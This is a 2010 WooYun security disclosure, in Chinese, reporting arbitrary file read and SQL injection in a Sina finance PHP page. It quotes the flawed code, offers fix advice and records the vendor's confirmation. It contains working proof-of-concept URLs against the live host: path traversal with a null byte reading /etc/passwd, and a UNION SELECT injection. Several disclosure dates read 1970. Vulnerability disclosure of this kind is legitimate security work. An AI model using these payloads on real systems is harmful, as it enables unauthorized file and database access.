漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2010-034
漏洞标题：新浪网任意文件读取等多处漏洞
相关厂商：新浪
漏洞作者： 牛奶坦克
提交时间：2010-07-16 18:00
修复时间：2010-08-18 16:37
公开时间：2010-08-18 16:37
漏洞类型：文件包含
危害等级：高
自评Rank：20
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2010-07-16： 细节已通知厂商并且等待厂商处理中
1970-01-01： 厂商已经确认，细节仅向厂商公开
1970-01-11： 细节向核心白帽子及相关领域专家公开
1970-01-21： 细节向普通白帽子公开
1970-01-31： 细节向实习白帽子公开
2010-08-18： 细节向公众公开
简要描述：
可以读取任意文件,差一点就可以直接写shell,另外这个漏洞还可以进行SQL注射,N合1阿,好严重.
详细说明：
由于$id变量没有过滤,导致直接读出了文件
$file_name = $id . ".tpl";
if (file_exists($file_dir.$file_name)) {
echo file_get_contents($file_dir.$file_name);
下面又直接将这个变量传递给了SQL
$sql = "SELECT * FROM `fund_result` WHERE `fund_id`='$id' LIMIT 1";
$data = get_line( $sql, $db_link );
最后无奈$id这个变量无法指定文件名的同时在把php代码写入,
漏洞证明：
http://biz.finance.sina.com.cn/fund/survey/survey_display.php?id=../../../../../../../../../../../../../data1/apache/htdocs/biz.sina.com.cn/fund/survey/survey_display.php%00
http://biz.finance.sina.com.cn/fund/survey/survey_display.php?id=../../../../../../../../../../../../../etc/passwd%00
http://biz.finance.sina.com.cn/fund/survey/survey_display.php?id=1%27%20and%201=2%20union%20select%201,2,3,4,5,user%28%29,7,8/*
读取shadow,由于权限问题报错可以得到web目录.
修复方案：
重点先处理下$id这个变量吧,然后open_basedir限制下,不排除别处还有类似情况的地方,总之程序太过于信任得到的变量了.
版权声明：转载请注明来源 牛奶坦克@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：10
确认时间：2010-07-16 18:00
厂商回复：
非常感谢您的漏洞上报,我们会及时处理.
最新状态：
暂无